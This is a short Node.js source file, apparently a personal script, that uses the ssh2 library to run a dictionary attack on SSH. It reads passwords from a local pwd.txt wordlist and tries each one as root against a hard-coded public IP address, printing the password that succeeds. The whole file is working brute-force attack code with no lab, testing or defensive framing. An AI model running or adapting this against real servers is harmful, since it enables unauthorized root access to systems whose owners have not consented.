node-ssh2/index.js

const { Client } = require('ssh2');
const fs = require("fs");
const fn = (config, pwd) => {
    const option = {
        ...config,
        password: pwd || ''
    }
    return new Promise((res, rej) => {
        const conn = new Client();
        conn.connect(option)
        conn.on('ready', res)
        conn.on('error', rej)
    })
}

class test {
    constructor() {
        // 字典集
        const pwds = fs.readFileSync('./pwd.txt',{encoding:'utf-8'}).toString().split('\r\n')
        // 基础配置
        const config ={
            host: '68.183.74.4',
            port: 22,
            username: 'root',
        }
        this.init(config,[...new Set(pwds)])
    }

    async init(config,pwds) {
        console.log(pwds);
        for (let k = 0; k < pwds.length; k++) {
            const el = pwds[k]
            try {
                await fn(config,el)
                console.log('成功', el);
                break
            } catch (error) {
                console.log(k, '失败');
            }

        }
    }
}
new test()